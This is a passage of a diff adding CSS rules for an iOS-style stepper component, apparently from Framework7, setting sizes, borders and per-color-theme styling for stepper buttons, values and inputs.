.stepper-input-wrap, +.ios .stepper-small-ios .stepper-input-wrap, +.ios .stepper-small .stepper-value, +.ios .stepper-small-ios .stepper-value { + border-top-width: 2px; + border-bottom-width: 2px; +} +.ios .stepper-small .stepper-button, +.ios .stepper-small-ios .stepper-button, +.ios .stepper-small .stepper-button-minus, +.ios .stepper-small-ios .stepper-button-minus, +.ios .stepper-small .stepper-button-plus, +.ios .stepper-small-ios .stepper-button-plus { + height: 26px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 22px; + border-width: 2px; +} +.ios .stepper-small .stepper-button .f7-icons, +.ios .stepper-small-ios .stepper-button .f7-icons, +.ios .stepper-small .stepper-button-minus .f7-icons, +.ios .stepper-small-ios .stepper-button-minus .f7-icons, +.ios .stepper-small .stepper-button-plus .f7-icons, +.ios .stepper-small-ios .stepper-button-plus .f7-icons { + font-size: 18px; +} +.ios .stepper-small.stepper-fill .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; + opacity: 1; +} +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper-big, +.ios .stepper-big-ios { + height: 44px; +} +.ios .stepper-big .stepper-button, +.ios .stepper-big-ios .stepper-button, +.ios .stepper-big .stepper-button-minus, +.ios .stepper-big-ios .stepper-button-minus, +.ios .stepper-big .stepper-button-plus, +.ios .stepper-big-ios .stepper-button-plus { + height: 44px; + line-height: 42px; +} +.ios .color-theme-red .stepper .stepper-button, +.ios .color-theme-red .stepper .stepper-button-minus, +.ios .color-theme-red .stepper .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-button.active-state, +.ios .color-theme-red .stepper .stepper-button-minus.active-state, +.ios .color-theme-red .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .stepper .stepper-button-plus:after, +.ios .color-theme-red .stepper .stepper-button-minus:after, +.ios .color-theme-red .stepper .stepper-button-plus:before, +.ios .color-theme-red .stepper .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value, +.ios .color-theme-red .stepper .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value { + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-input-wrap input { + color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .color-theme-green .stepper .stepper-button, +.ios .color-theme-green .stepper .stepper-button-minus, +.ios .color-theme-green .stepper .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-button.active-state, +.ios .color-theme-green .stepper .stepper-button-minus.active-state, +.ios .color-theme-green .stepper .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .stepper .stepper-button-plus:after, +.ios .color-theme-green .stepper .stepper-button-minus:after, +.ios .color-theme-green .stepper .stepper-button-plus:before, +.ios .color-theme-green .stepper .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value, +.ios .color-theme-green .stepper .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value { + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-input-wrap input { + color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .color-theme-blue .stepper .stepper-button, +.ios .color-theme-blue .stepper .stepper-button-minus, +.ios .color-theme-blue .stepper .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-button.active-state, +.ios .color-theme-blue .stepper .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .stepper .stepper-button-plus:after, +.ios .color-theme-blue .stepper .stepper-button-minus:after, +.ios .color-theme-blue .stepper .stepper-button-plus:before, +.ios .color-theme-blue .stepper .stepper-button-minus:before { + background-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value, +.ios .color-theme-blue .stepper .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value { + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-input-wrap input { + color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .color-theme-pink .stepper .stepper-button, +.ios .color-theme-pink .stepper .stepper-button-minus, +.ios .color-theme-pink .stepper .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-button.active-state, +.ios .color-theme-pink .stepper .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .stepper .stepper-button-plus:after, +.ios .color-theme-pink .stepper .stepper-button-minus:after, +.ios .color-theme-pink .stepper .stepper-button-plus:before, +.ios .color-theme-pink .stepper .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value, +.ios .color-theme-pink .stepper .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value { + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-input-wrap input { + color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .color-theme-yellow .stepper .stepper-button, +.ios .color-theme-yellow .stepper .stepper-button-minus, +.ios .color-theme-yellow .stepper .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-button.active-state, +.ios .color-theme-yellow .stepper .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .stepper .stepper-button-plus:after, +.ios .color-theme-yellow .stepper .stepper-button-minus:after, +.ios .color-theme-yellow .stepper .stepper-button-plus:before, +.ios .color-theme-yellow .stepper .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value, +.ios .color-theme-yellow .stepper .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .color-theme-orange .stepper .stepper-button, +.ios .color-theme-orange .stepper .stepper-button-minus, +.ios .color-theme-orange .stepper .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-button.active-state, +.ios .color-theme-orange .stepper .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .stepper .stepper-button-plus:after, +.ios .color-theme-orange .stepper .stepper-button-minus:after, +.ios .color-theme-orange .stepper .stepper-button-plus:before, +.ios .color-theme-orange .stepper .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value, +.ios .color-theme-orange .stepper .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value { + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .color-theme-gray .stepper .stepper-button, +.ios .color-theme-gray .stepper .stepper-button-minus, +.ios .color-theme-gray .stepper .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-button.active-state, +.ios .color-theme-gray .stepper .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .stepper .stepper-button-plus:after, +.ios .color-theme-gray .stepper .stepper-button-minus:after, +.ios .color-theme-gray .stepper .stepper-button-plus:before, +.ios .color-theme-gray .stepper .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value, +.ios .color-theme-gray .stepper .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value { + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-input-wrap input { + color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .color-theme-white .stepper .stepper-button, +.ios .color-theme-white .stepper .stepper-button-minus, +.ios .color-theme-white .stepper .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-button.active-state, +.ios .color-theme-white .stepper .stepper-button-minus.active-state, +.ios .color-theme-white .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .stepper .stepper-button-plus:after, +.ios .color-theme-white .stepper .stepper-button-minus:after, +.ios .color-theme-white .stepper .stepper-button-plus:before, +.ios .color-theme-white .stepper .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value, +.ios .color-theme-white .stepper .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value { + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-white 